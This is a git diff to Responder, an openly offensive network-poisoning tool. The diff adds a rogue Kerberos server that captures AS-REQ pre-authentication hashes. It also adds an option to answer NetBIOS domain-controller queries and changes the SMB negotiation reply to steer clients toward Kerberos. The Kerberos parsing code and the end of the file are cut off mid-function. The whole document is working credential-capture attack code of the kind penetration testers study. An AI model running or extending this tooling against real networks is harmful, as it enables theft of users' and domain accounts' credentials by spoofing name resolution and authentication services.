diff --git a/Responder.conf b/Responder.conf index 7a9b3d7..0111244 100644 --- a/Responder.conf +++ b/Responder.conf @@ -3,6 +3,7 @@ ;Set these values to On or Off, so you can control which rogue authentication server is turned on. SQL = On SMB = On +Kerberos = On FTP = On POP = On ;;Listen on 25/TCP, 587/TCP @@ -21,7 +22,7 @@ SessionLog = Responder-Session.log ; ;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 ;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 -RespondTo = +RespondTo = ; [HTTP Server] ;; diff --git a/Responder.py b/Responder.py index 95564f0..0991fae 100755 --- a/Responder.py +++ b/Responder.py @@ -36,6 +36,8 @@ parser.add_option('-b', '--basic',action="store", help="Set this to On if you wa parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="Wredirect", choices=['On','on','off','Off'], default="Off") +parser.add_option('-d', '--NBTNSdomain',action="store", help="Set this to enable answers for netbios domain suffix queries. Answering to domain will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="NBTNSDomain", choices=['On','on','off','Off'], default="Off") + parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off") parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="On", choices=['On','on','off','Off'], default="Off") @@ -70,6 +72,7 @@ IMAP_On_Off = config.get('Responder Core', 'IMAP').upper() SMTP_On_Off = config.get('Responder Core', 'SMTP').upper() LDAP_On_Off = config.get('Responder Core', 'LDAP').upper() DNS_On_Off = config.get('Responder Core', 'DNS').upper() +Krb_On_Off = config.get('Responder Core', 'Kerberos').upper() NumChal = config.get('Responder Core', 'Challenge') SessionLog = config.get('Responder Core', 'SessionLog') Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper() @@ -83,6 +86,7 @@ OURIP = options.OURIP LM_On_Off = options.LM_On_Off.upper() WPAD_On_Off = options.WPAD_On_Off.upper() Wredirect = options.Wredirect.upper() +NBTNSDomain = options.NBTNSDomain.upper() Basic = options.Basic.upper() Finger_On_Off = options.Finger.upper() INTERFACE = options.INTERFACE @@ -197,7 +201,7 @@ Challenge = "" for i in range(0,len(NumChal),2): Challenge += NumChal[i:i+2].decode("hex") -Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) +Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is:%s\nKerberos Server is:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,Krb_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) if AnalyzeMode: print '[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.\n' @@ -283,11 +287,18 @@ def NBT_NS_Role(data): def Validate_NBT_NS(data,Wredirect): if Analyze(AnalyzeMode): return False + if NBT_NS_Role(data[43:46]) == "File Server Service.": return True + + if NBTNSDomain == "ON": + if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": + return True + if Wredirect == "ON": if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": return True + else: return False @@ -308,8 +319,7 @@ def Decode_Name(nbname): class NB(BaseRequestHandler): def handle(self): - request, socket = self.request - data = request + data, socket = self.request Name = Decode_Name(data[13:45]) if Analyze(AnalyzeMode): @@ -738,9 +748,9 @@ class SMB1(BaseRequestHandler): data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": - # Customize SMB answer. + #Customize SMB answer. head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data)) + t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) t.calculate() final = t packet0 = str(head)+str(final) @@ -859,7 +869,132 @@ class SMB1LM(BaseRequestHandler): except Exception: self.request.close() - pass #no need to print errors.. + pass + + +################################################################################## +#Kerberos Server +################################################################################## +def ParseMSKerbv5TCP(Data): + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] + if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": + if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + HashLen = struct.unpack(' 0: @@ -2269,7 +2413,3 @@ if __name__ == '__main__': main() except: raise - - - - diff --git a/SMBPackets.py b/SMBPackets.py index 02d4b17..a1d3fcb 100644 --- a/SMBPackets.py +++ b/SMBPackets.py @@ -107,7 +107,7 @@ class SMBNegoAnsLM(Packet): self.fields["Bcc"] = struct.pack("